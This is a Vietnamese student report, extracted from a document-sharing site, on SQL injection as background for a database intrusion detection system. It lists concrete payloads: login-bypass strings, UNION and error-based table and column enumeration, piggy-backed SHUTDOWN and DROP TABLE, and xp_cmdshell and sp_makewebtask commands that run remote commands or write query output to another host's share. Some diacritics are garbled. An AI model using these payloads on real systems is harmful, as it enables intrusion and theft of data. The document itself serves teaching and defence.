Tải bản đầy đủ (.docx) (78 trang)

Tìm hiểu về sql injection và tìm hiểu thiết kế và thực thi hệ thống phát hiện xâm nhập csdl snort

Bạn đang xem bản rút gọn của tài liệu. Xem và tải ngay bản đầy đủ của tài liệu tại đây (3.89 MB, 78 trang )

<span class="text_page_counter">Trang 1</span><div class="page_container" data-page="1">

<b>Danh mục từ viết tắt </b>

IMAP Internet Message Access Protocol

ICMP Internet Control Message Protocol

OISF Open Information Security Foundation

1

</div><span class="text_page_counter">Trang 2</span><div class="page_container" data-page="2">

<b>Chương 1: Tổng quan đề tài </b>

<b>1.1 Giới thiệu </b>

Ngày nay, hệ thống mạng máy tính đã trở nên rất phổ biến trong hầu hết các hoạt động kinh tế xã hội. Đi đơi với sự phát triển đó là hàng loạt những cá nhân, nhóm và thậm chí cả những tổ chức hoạt động với những mục đích xấu nhằm phá hoại các hệ thống thông tin, gây tác

<b>hại vô cùng to lớn đến tính an tồn và bảo mật trên các hệ thống. </b>

Với nhu cầu trao đổi thông tin ngày càng lớn, đòi hỏi các cá nhân, các cơ quan, tổ chức phải kết nối mạng Internet tồn cầu. An tồn và bảo mật thơng tin là một trong những vấn đề quan trọng hàng đầu khi thực hiện kết nối Internet. Tuy nhiên, vẫn thường xuyên xảy ra các cuộc tấn công mạng gây nên những hậu quả vô cùng nghiêm trọng. Những vụ tấn cơng đa phần vì mục đích xấu và hiển nhiên là không hề được báo trước, số lượng các vụ tấn cơng tăng lên chóng mặt và các phương pháp tấn công cũng liên tục được cải thiện. Vì vậy việc kết nối máy tính vào mạng nội bộ cũng như vào mạng Internet cần phải có các biện pháp đảm bảo an tồn thơng tin. Trong các cuộc tấn cơng của tin tặc thì CSDL ln là miếng mồi béo bở. Lý giải cho vấn đề này là bởi CSDL lưu giữ những thông tin quan trọng như: Dữ liệu thiết yếu của khách hàng, kế hoạch phát triển, các dự đoán kinh tế, và nhiều thông tin quan trọng khác. Thực tế cho thấy, sẽ có lợi hơn cho một tin tặc khi tấn cơng vào CSDL thay vì nghe lén giao tiếp qua mạng. Mặt khác, dữ liệu thường được mã hóa trên đường truyền nhưng lại có thể được lưu dưới dạng rõ trong CSDL.

Vấn đề an tồn và bảo mật thơng tin ln đóng một vai trò hết sức quan trọng trong bất kỳ lĩnh vực nào. Thơng tin chỉ có giá trị khi nó giữ được tính chính xác, thơng tin chỉ có tính bảo mật khi chỉ những người được phép nắm giữ thơng tin biết được nó. Để đảm bảo được tính an tồn và bảo mật cho một hệ thống cần phải có sự phối hợp giữa các yếu tố phần cứng, phần mềm và con người. Xuất phát từ những lý do trên, nhóm chúng em quyết định chọn đề tài: Thiết kế và thực thi hệ thống phát hiện xâm nhập CSDL.

2

</div><span class="text_page_counter">Trang 3</span><div class="page_container" data-page="3">

<b>Chương 1: Tổng quan về tấn công tiêm nhiễm SQL</b>

<b>1.1 Khái niệm tấn công tiêm nhiễm SQL</b>

<b> SQL viết tắt của Structured Query Language, nó được sử dụng để truy vấn, thao tác dữ liệu trong Database. SQL Injection là kỹ thuật tấn công nhằm biến các điều kiện trong câu lệnh </b>

SQL (SQL Statement) là luôn luôn đúng.

Tiêm nhiễm SQL (còn gọi là SQL Injection) khơng cịn là khái niệm q mới, nhưng nó vẫn là một trong những kiểu tấn công mạng khá phổ biến. Tấn công tiêm nhiễm SQL là một kỹ thuật tấn công vào hệ thống cơ sở dữ liệu của ứng dụng (web, mobile hoặc desktop …) thông qua việc kẻ tấn công lợi dụng lỗ hổng để tiến hành tiêm nhiễm mã độc vào câu truy vấn SQL và thi hành các câu lệnh SQL bất hợp pháp trên cơ sở dữ liệu (CSDL) đằng sau ứng dụng web.

Thay vì nhập dữ liệu hợp lệ, kẻ tấn cống sẽ nhập một câu lệnh truy vấn độc hại bất kỳ vào, có khả năng gây ra một số thiệt hại nghiêm trọng đối với cơ sở dữ liệu và tồn bộ hệ thống. Kẻ tấn cơng có thể lấy cắp được thông tin nhạy cảm của khách hàng, người dùng như tên, tuổi, địa chỉ, số tài khoản, số điện thoại … Ngồi ra, tấn cơng tiêm nhiễm SQL có thể cho phép những kẻ tấn cơng thực hiện các thao tác xóa, sửa, chèn, cập nhật trên CSDL của ứng dụng, thậm chí là máy chủ mà ứng dụng đó đang chạy. Lỗi này thường xãy ra trên các ứng dụng web có dữ liệu được quản lý bằng các hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase...

<b> Hình 1.1 Hình này mơ tả cho qui trình một cuộc Tấn cơng tiêm nhiễm SQL. Các bước thực </b>

hiện như sau:

<i><b> Bước 1: Tìm kiếm mục tiêu</b></i>

Kẻ tấn cơng dị qt lỗ hổng của ứng dụng web. Khi phát hiện lỗ hổng, hắn tiến hành tiêm nhiễm chuỗi ký tự độc hại, gửi đến CSDL thông qua ứng dụng web.

<i> Bước 2: </i>

Máy chủ web tiếp nhận truy vấn tiêm nhiễm và gửi nó đến máy chủ ứng dụng web (Application server).

<i> Bước 3: Tại máy chủ ứng dụng web, truy vấn tiêm nhiễm sẽ tiếp tục được chấp nhận do kẻ tấn </i>

cơng đã khai thác lỗ hổng của chính ứng dụng web. Nó tiếp tục được gửi đến máy chủ CSDL (Database server).

<i> Bước 4: Tại máy chủ CSDL, truy vấn tiêm nhiễm được thực thi. Dữ liệu chứa thông tin nhạy </i>

cảm của người dùng sẽ được trả về và hiển thị trên ứng dụng web.

<i> Bước 5: Kẻ tấn công nhận được thơng tin nhạy cảm. Sau đó, kẻ tấn cơng tiếp tục thực hiện các </i>

tấn công tiêm nhiễm SQL khác. 13 Trên đây là qui trình thực hiện tấn cơng tiêm nhiễm SQL. Sau khi thực hiện tấn công tiêm nhiễm CSDL, kẻ tấn công đã thu thập được thông tin nhạy cảm của người dùng hợp lệ như User ID, Password,… Kẻ tấn cơng có thể sử dụng chính những thơng tin này để thực hiện các cuộc tấn công khác như leo thang, chiếm quyền điều khiển máy chủ CSDL.

3

</div><span class="text_page_counter">Trang 4</span><div class="page_container" data-page="4">

<i>Hình 1.1 Qui trình thực hiện tấn cơng tiêm nhiễm SQL</i>

<b> 1.2 Phân loại tấn công tiêm nhiễm SQL</b>

Tấn công tiêm nhiễm SQL được phân chia thành nhiều loại khác nhau tùy theo tiêu chí đánh giá. Trong phạm vi nghiên cứu của luận văn, tấn cơng tiêm nhiễm SQL có thể chia làm 3 loại như sau:

- Order Wise

- Blind SQL Injection - Against Database

4

</div><span class="text_page_counter">Trang 5</span><div class="page_container" data-page="5">

<i> Hình 1.2 Phân loại tấn cơng tiêm nhiễm SQL</i>

<b>1.2.1 Order Wise.</b>

Kết quả của tấn công tiêm nhiễm SQL có thể thấy được ngay sau khi tiêm nhiễm hoặc phản hồi sau một thời gian tiêm nhiễm. Dựa trên thời gian phản hồi đó, có thể phân chia tấn công tiêm nhiễm SQL thành 3 loại sau:

<b> Tiêm nhiễm First Order: Kẻ tấn công nhận được kết quả mong muốn ngay lập tức, </b>

bằng các phản hồi trực tiếp từ ứng dụng đang tương tác hoặc một số cơ chế phản hồi khác, chẳng hạn như email…

Triển khai - Kẻ tấn cơng có thể gửi liên kết / tệp dưới dạng tệp đính kèm với email, khi người dùng nhấp vào liên kết / tệp này, tệp thực thi được xử lý trên hệ thống của người dùng và tệp thực thi này tấn công ứng dụng / hệ thống. Nó có thể lưu trữ mã độc trên máy chủ để khởi chạy chuỗi các cuộc tấn công. Xem xét một ví dụ khác khi kẻ tấn cơng sử dụng mệnh đề LIKE thì cơ sở dữ liệu sẽ trả về các nội dung phù hợp.

Ví dụ: “SELECT email, password, login-id FROM members WHERE email = '' OR fullname LIKE '%harry%';”

Tại đây, CSDL sẽ trả về thông tin của bất kỳ người dùng nào có tên có chứa "harry". Khi đó, kẻ tấn công nhận được kết quả ngay lập tức, đó là lý do tại sao đó là cuộc tấn công Tiêm nhiễm First Order.

<i><b>Tiêm nhiễm Second Order: Việc thực hiện mã độc được kẻ tấn công tiêm vào ứng dụng, </b></i>

nhưng khơng được ứng dụng kích hoạt ngay lập tức. Các đầu vào độc hại được kẻ tấn công gieo vào hệ thống hoặc CSDL. Điều này được sử dụng để gián tiếp kích hoạt tấn cơng tiêm nhiễm SQL sau này. Nên khi cuộc tấn công xảy ra, câu truy vấn bị thay đổi không phải từ người dùng mà từ chính bên trong hệ thống.

<i><b>Tiêm nhiễm Lateral: Kẻ tấn công khai thác thủ tục PL/Query (Ngơn ngữ truy vấn cấu trúc).</b></i>

Các biến có kiểu dữ liệu DATE hoặc NUMBER không nhận bất kỳ đầu vào nào từ người dùng và do đó thường khơng được coi là có thể khai thác tấn cơng. Nó phụ thuộc vào kỹ thuật của kẻ tấn công.

<b>1.2.2 Blind SQL Injection</b>

Tấn công tiêm nhiễm SQL ‘mù’ được sử dụng khi mà một ứng dụng web được cấu hình khơng hiển thị thông báo lỗi hay chỉ hiển thị những thông báo lỗi chung chung, không hiển

5

</div><span class="text_page_counter">Trang 6</span><div class="page_container" data-page="6">

thị ra lỗi của SQL. Hai biến thể chính thực hiện tấn công tiêm nhiễm SQL “mù” là: Tấn công dựa vào nội dung phản hồi và Tấn công dựa vào độ trễ thời gian phản hồi.

<i><b> Tấn công dựa vào nội dung phản hồi: Kẻ tấn công thêm các biểu thức TRUE/ FALSE </b></i>

vào các truy vấn SQL khác nhau gửi đến CSDL ứng dụng web. Sau đó, kết quả phản hồi của ứng dụng sẽ được phân tích.

Ví dụ:

“SELECT book from PRODUCTS WHERE category = 'harry potter' AND 1 = 1;”

Truy vấn trên được thêm vào một mệnh đề luôn đúng “AND 1 = 1” . Hệ thống trả về thông tin book phù hợp.

“SELECT book from PRODUCTS WHERE category = 'harry potter’ AND 1 = 2;”

Truy vấn trên được thêm vào một mệnh đề luôn sai “AND 1 = 2” . Điều này sẽ đánh giá TRUE hoặc FALSE. Nếu kết quả trả về là một trang lỗi được hiển thị thì điều đó chứng tỏ rằng ứng dụng web dễ bị tấn công tiêm nhiễm. Các cuộc tấn cơng cịn có thể thực hiện trên thanh địa chỉ của ứng dụng web.

<i><b> Tấn công dựa vào độ trễ thời gian phản hồi: cuộc tấn cơng thực hiện phân tích thời gian </b></i>

phản hồi của hệ thống sau mỗi truy vấn SQL gửi đến. Kẻ tấn công gửi truy vấn làm CSDL thực hiện một hành động tốn thời gian. Nếu hệ thống không trả về phản hồi ngay lập tức thì ứng dụng này dễ bị tấn cơng tiêm nhiễm SQL. Kẻ tấn cơng có thể đưa ra một truy vấn như bên dưới để đánh giá hệ thống.

“SELECT book from PRODUCTS WHERE category = 'harry potter’ AND if(1=1, sleep(10), false);”

Nếu hệ thống có lỗ hổng tiêm nhiễm SQL thì phản hồi sẽ bị trễ 10 giây với truy vấn trên.

<b>1.2.3. Against Database </b>

Có nhiều kỹ thuật tấn công Against Database. Một số kỹ thuật tấn cơng tiêu biểu như sau:

<i><b> Tautologies: Mục đích của một cuộc tấn công dựa trên tautology là tiêm mã vào một hoặc nhiều </b></i>

câu lệnh điều kiện luôn đúng. Trong loại tấn công SQL này, kẻ tấn công khai thác tiêm nhiễm vào mệnh đề WHERE, tức là các truy vấn luôn trả về kết quả khi đánh giá tham số điều kiện tại mệnh đề WHERE.

Tất cả các hàng trong bảng cơ sở dữ liệu được truy vấn trả về khi chuyển đổi điều kiện

<i>thành một tautology. Ví dụ: Kẻ tấn cơng có thể nhập chuỗi “‘or ‘1’ = ‘1 “. Truy vấn kết quả</i>

là:

“SELECT * FROM user_account WHERE user_name = ’adm’ AND password = ’’or ‘1’ = ’1’;”

Khi thực thi truy vấn, mệnh đề ‘1’ = ’1’ là luôn đúng nên CSDL sẽ trả về kết quả là toàn bộ dữ liệu trong bảng user_account mà không cần quan tâm đến user_name và

6

</div><span class="text_page_counter">Trang 7</span><div class="page_container" data-page="7">

password. Như vậy là kẻ tấn cơng có thể có dữ liệu truy cập của toàn bộ người dùng. Với trường hợp đăng nhập hệ thống, ở đây kẻ tấn cơng đã vượt qua được xác thực.

<i><b>Chú thích cuối dịng: Kẻ tấn cơng lợi dụng việc CSDL sẽ bỏ qua chuỗi đằng sau dấu chú thích </b></i>

dịng, ví dụ như “--” hay “# “, khi thực thi truy vấn. Bằng cách chèn dấu chú thích vào vị trí thích hợp của câu truy vấn, kẻ tấn công sẽ lừa được CSDL thực thi câu truy vấn đã bị thay đổi. Ví dụ, kẻ tấn cơng tiến hành chèn dấu chú thích vào trường user_name, câu truy vấn sẽ trở thành như sau: “SELECT * FROM user_account WHERE user_name = ’admin’ -- AND password = ’’;”

Như vậy, khi kiểm tra, CSDL sẽ tiến hành đăng nhập với tài khoản là admin. Tuy nhiên với trường hợp, trong bảng user_account khơng có user_name nào là admin thì kẻ tấn cơng cũng khơng thể xâm nhập vào cơ sở dữ liệu.

<i>Ngồi ra, kẻ tấn cơng có thể kết hợp với tautologies để lấy được dữ liệu. </i>

Ví dụ, kẻ tấn cơng thêm “‘ or 1=1--“ vào trường user_name. Câu truy vấn sẽ như sau: “SELECT * FROM user_account WHERE user_name = ’’ or 1=1 -- ' AND password = ’’;”

<i>Kết quả tương tự như tautologies. Dấu chú thích ở đây được chèn vào cho phù hợp với cú pháp </i>

SQL.

<i><b>Suy luận: Trong cuộc tấn công này, truy vấn được sửa đổi thành dạng thực hiện dựa trên câu trả lời</b></i>

cho câu hỏi true /false về các giá trị dữ liệu trong CSDL. Trong kiểu tiêm nhiễm này, đối tượng là các trang web có đủ bảo mật để chống lại các tấn công tiêm nhiễm hiện thời. Kẻ tấn công phải sử dụng một phương pháp khác để có được phản hồi từ CSDL. Ở đây, kẻ tấn công tiêm nhiễm các lệnh vào trang web và sau đó quan sát cách trang web phản hồi. Bằng cách quan sát cẩn thận hành vi thay đổi của trang web, kẻ tấn cơng có thể ngoại suy không chỉ các tham số dễ bị tổn thương mà cịn có thêm thơng tin về các giá trị trong cơ sở dữ liệu. Các nhà nghiên cứu đã báo cáo rằng với những kỹ thuật này, họ đã có thể đạt được tốc độ trích xuất dữ liệu là 1B / s.

Xem xét hai chuỗi tiêm nhiễm có thể thêm vào trường đăng nhập. Đầu tiên là “admin’ and 1 = 0 --” và “admin’ and 1 = 1 --". Điều này dẫn đến hai truy vấn sau:

“SELECT * FROM user_account WHERE user_name

= ’admin’ and 1=0 -- ' AND password = ’abc123’;”

“SELECT * FROM user_account WHERE user_name = ’admin’ and 1=1 -- ' AND password = ’abc123’;”

Trong trường hợp đầu tiên, ứng dụng được bảo mật và đầu vào để đăng nhập được xác thực chính xác. Cả hai truy vấn sẽ trả về thông báo lỗi đăng nhập và kẻ tấn công sẽ biết rằng tham số đăng nhập không dễ bị tấn công.

7

</div><span class="text_page_counter">Trang 8</span><div class="page_container" data-page="8">

Trong kịch bản thứ hai, ứng dụng khơng an tồn và tham số đăng nhập dễ bị tiêm nhiễm. Kẻ tấn công gửi chuỗi tiêm nhiễm đầu tiên và nhận được thông báo lỗi đăng nhập, vì nó ln bị đánh giá là sai. Tuy nhiên, kẻ tấn công không biết liệu đây có phải là do ứng dụng xác thực đầu vào chính xác và ngăn chặn tấn cơng hay do chính cuộc tấn cơng gây ra lỗi đăng nhập. Kẻ tấn cơng sau đó gửi truy vấn thứ hai, kèm mệnh đề luôn đúng. Nếu trong trường hợp này khơng có thơng báo lỗi đăng nhập, thì kẻ tấn công biết rằng cuộc tấn công đã đi qua và tham số đăng nhập dễ bị tiêm nhiễm.

<i><b>Truy vấn Union: Với kỹ thuật này, kẻ tấn công lợi dụng lỗ hổng tham số để thay đổi bộ dữ liệu trả </b></i>

về cho một câu truy vấn. Với câu truy vấn hợp lệ bên trên, kẻ tấn công có thể tiêm nhiễm vào trường login là “’ UNION SELECT bankNumber FROM Bank WHERE ID =101--”. Lúc này câu truy vấn sẽ trở thành:

“SELECT * FROM user_account WHERE user_name = ’’ UNION SELECT bankNumber FROM Bank WHERE ID = 101 --' AND password = ’’;”

Với câu truy vấn đã bị thay đổi trên, CSDL dù khơng tìm thấy bản ghi login nào phù hợp với “user_name = ’’”nhưng vẫn sẽ tìm thấy bản ghi bankNumber phù hợp với “ID = 101”. CSDL sẽ tiến hành hợp 2 bộ kết quả, và bankNumber vẫn sẽ được trả về cho ứng dụng.

<i><b>Truy vấn Piggy-Backed: Kỹ thuật tấn công này dựa vào máy chủ CSDL được cấu hình để thực thi </b></i>

nhiều câu truy vấn khác nhau trên cùng 1 dòng mã và được ngăn cách bởi dấu “;”. Kẻ tấn công sẽ chèn thêm các câu truy vấn trái phép vào câu truy vấn ban đầu với mục đích trích xuất dữ liệu, thay đổi dữ liệu, thực hiện từ chối dịch vụ hay thực thi lệnh từ xa. Ví dụ, kẻ tấn cơng có thể nhập mã độc “’; SHUTDOWN --” vào trường user_name. Câu truy vấn lúc này sẽ là

“SELECT * FROM user_account WHERE user_name = ’’; SHUTDOWN -- ‘; AND password =’’;”

Khi thực thi câu truy vấn trên, CSDL sẽ thực thi luôn câu lệnh

“SHUTDOWN”, CSDL sẽ bị tắt, một loạt các truy vấn hợp lệ sau đó sẽ khơng kết nối được.

<b>1.3 Một Số Dạng Tấn Công SQL Injection Thông Dụng </b>

Có một số dạng tấn cơng thường gặp bao gồm: vượt qua kiểm tra lúc đăng nhập, sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures.

và dạng Chèn SQL dựa trên cookie, Chèn SQL dựa trên tiêu đề HTTP , Chèn SQL bậc hai

8

</div><span class="text_page_counter">Trang 9</span><div class="page_container" data-page="9">

<b> 1.3.1 Dạng tấn công vượt qua kiểm tra lúc đăng nhập </b>

Với dạng tấn cơng này, tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web. Thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu. Sau khi người dùng nhập thông tin vào, hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp.

<b>1.3.2 Dạng tấn công sử dụng câu lệnh SELECT </b>

Dạng tấn công này phức tạp hơn. Để thực hiện được kiểu tấn công này, kẻ tấn cơng phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống để dị tìm các điểm yếu khởi đầu cho việc tấn cơng. Ví dụ, trong các trang tìm kiếm. Các trang này cho phép người dùng nhập vào các thơng tin tìm kiếm như Họ, Tên, … Đoạn mã thường gặp là:

<small> Set objRS = Nothing %> </small>

Tương tự như trên, tin tặc có thể lợi dụng sơ hở trong câu truy vấn SQL để nhập vào trường tên tác giả bằng chuỗi giá trị:

<small>' UNION SELECT ALL SELECT OtherField FROM OtherTable WHERE ' '=' (*) </small>

Lúc này, ngoài câu truy vấn đầu khơng thành cơng, chương trình sẽ thực hiện thêm lệnh tiếp theo sau từ khóa UNION nữa. Giả sử đoạn mã nhập vào là:

<small>' DROP TABLE T_AUTHORS -- </small>

Câu truy vấn sẽ thực hiện việc xóa bảng.

<b>1.3.4 Dạng tấn cơng sử dụng câu lệnh INSERT </b>

Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia. Chức năng khơng thể thiếu là sau khi đăng kí thành cơng, người dùng có thể xem và hiệu chỉnh thơng

9

</div><span class="text_page_counter">Trang 10</span><div class="page_container" data-page="10">

tin của mình. SQL injection có thể được dùng khi hệ thống khơng kiểm tra tính hợp lệ của thơng tin nhập vào. Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng:

<small> INSERT INTO TableName VALUES('Value One', 'Value Two', 'Value Three') </small>

Nếu đoạn mã xây dựng câu lệnh SQL có dạng :

<small><% </small>

<small> strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _ & strValueTwo & " ', ' " & strValueThree & " ') " Set </small>

<small>objRS = Server.CreateObject("ADODB.Recordset") objRS.Open strSQL, "DSN=..." </small>

<small> … </small>

<small> Set objRS = Nothing %> </small>

Thì chắc chắn sẽ bị lỗi SQLi, bởi vì nếu ta nhập vào trường thứ nhất ví dụ như:

<small> ' + (SELECT TOP 1 FieldName FROM TableName) + ' </small>

Lúc này câu truy vấn sẽ là :

<small> INSERT INTO TableName VALUES(' ' + (SELECT TOP 1 FieldName FROM TableName) + </small>

Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống 'sa'. Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ' ; EXEC xp_cmdshell ‘cmdd.exe dir C: '. Lúc này hệ thống sẽ thực hiện lệnh liệt kê thư mục trên ổ đĩa C:\ cài đặt server. Việc phá hoại kiểu nào tuỳ thuộc vào câu lệnh đằng sau cmd.exe. fg “

<b>1.3.6 Chèn SQL dựa trên cookie</b>

Một cách tiếp cận khác đối với SQL injection là sửa đổi cookie thành các truy vấn cơ sở dữ liệu "độc". Các ứng dụng web thường tải cookie và sử dụng dữ liệu của chúng như một phần của hoạt động cơ sở dữ liệu. Người dùng độc hại hoặc phần mềm độc hại được triển khai trên thiết bị của người dùng, có thể sửa đổi cookie, để đưa SQL vào cơ sở dữ liệu phụ trợ theo cách không mong muốn.

10

</div><span class="text_page_counter">Trang 11</span><div class="page_container" data-page="11">

<b>1.3.7 Chèn SQL dựa trên tiêu đề HTTP</b>

Các biến máy chủ như tiêu đề HTTP cũng có thể được sử dụng cho SQL injection. Nếu một ứng dụng web chấp nhận đầu vào từ các tiêu đề HTTP, các tiêu đề giả có chứa SQL tùy ý có thể đưa mã vào cơ sở dữ liệu.

<b>1.3.8 Chèn SQL bậc hai</b>

Đây có thể là các cuộc tấn cơng SQL injection phức tạp nhất, vì chúng có thể nằm im trong một thời gian dài. Một cuộc tấn công SQL injection bậc hai cung cấp dữ liệu bị nhiễm độc, dữ liệu này có thể được coi là lành tính trong một ngữ cảnh, nhưng lại độc hại trong một ngữ cảnh khác. Ngay cả khi các nhà phát triển làm sạch tất cả các đầu vào của ứng dụng, họ vẫn có thể dễ bị tấn cơng kiểu này.

<b>Qua các mơ tả khá đầy đủ trên đã có mơt cái nhìn tổng quan về SQL injection, để tấn công dạng này các hacker thường tiến hành các bước như sau : </b>

<b>1. Tìm kiếm mục tiêu </b>

<b>- Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên </b>

mạng, chẳng hạn như các trang login, search, feedback, ...

- Sư dụng trình duyệt tìm kiếm các trang đăng nhập của web site hay những trang tiếp nhận dữ liệu đầu vào như các form khai báo mất và phục hồi mật khẩu. Kiểm tra các trang hiển thị lệnh POST hay GET bằng cách tìm kiếm trong source code như trong bài tập hack trên trang web học tấn công khá nổi tiếng là www.hackthisite.org

Ví dụ:

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post> <input type=hidden name=A value=C>

<b>2.Các bước khai thác</b>

Khi phát hiện thấy máy chủ hay trang web bị lỗi hacker sẽ dùng các lệnh SELECT để lấy dữ liệu từ máy chủ hay lệnh INSERT đển chèn thông tin vào cơ sở dữ liệu.

11

</div><span class="text_page_counter">Trang 12</span><div class="page_container" data-page="12">

<i>Hình 1.3 – Attacker khai thác lỗi SQL injection bằng form đăng nhập</i>

<i>Hình 1.4 – Các cơng cụ tấn cơng SQL injection </i>

<b>2.1 Kiểm tra chỗ yếu của trang web </b>

-Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1—

<b>3 Login: hi' or 4 Password: hi' or </b>

1=1--12

</div><span class="text_page_counter">Trang 13</span><div class="page_container" data-page="13">

<b>5 or </b>

1=1--Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp.

Ví dụ:

<FORM action= method=post> <input type=hidden name=A value="hi' or 1=1--">

- Nếu thành cơng, thì có thể login vào mà không cần phải biết username và password -Kiểm tra máy chủ SQL bằng các truy vấn dùng cặp dấu nháy đơn (‘’) nếu máy chủ đáp ứng bằng các thông điệp như use ‘a’=’a’ hay tương tự như vậy thì các hacker có thể đốn được máy chủ có khả năng bị tấn cơng theo dạng SQL injection

<b>3. Lí do ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập</b>

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

</div><span class="text_page_counter">Trang 14</span><div class="page_container" data-page="14">

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành or 1=1--, biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay khơng:

</div><span class="text_page_counter">Trang 15</span><div class="page_container" data-page="15">

<b>4. Thi hành lệnh từ xa bằng SQL Injection</b>

Nếu cài đặt với chế độ mặc định mà khơng có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping

10.10.1.2'--Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') khơng làm việc.

Dấu chấm phẩy (sẽ kết thúc dịng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay khơng, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

<b>5. Nhận output của SQL query</b>

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" phải được share cho Everyone trước.

<b> 6.Nhận dữ liệu qua 'database using ODBC error message'</b>

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

15

</div><span class="text_page_counter">Trang 16</span><div class="page_container" data-page="16">

UNION SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES--Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó ln tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM

INFORMATION_SCHEMA.TABLES--Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value

'table1' to a column of data type int. /index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN

('table1')--Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

16

</div><span class="text_page_counter">Trang 17</span><div class="page_container" data-page="17">

UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login

%25'--Khi đó thơng báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thơng báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

<b>7. Xác định tên của các column trong table</b>

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME='admin_login'--Khi đó thơng báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

17

</div><span class="text_page_counter">Trang 18</span><div class="page_container" data-page="18">

/index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE

TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN

('login_id')--Khi đó thơng báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

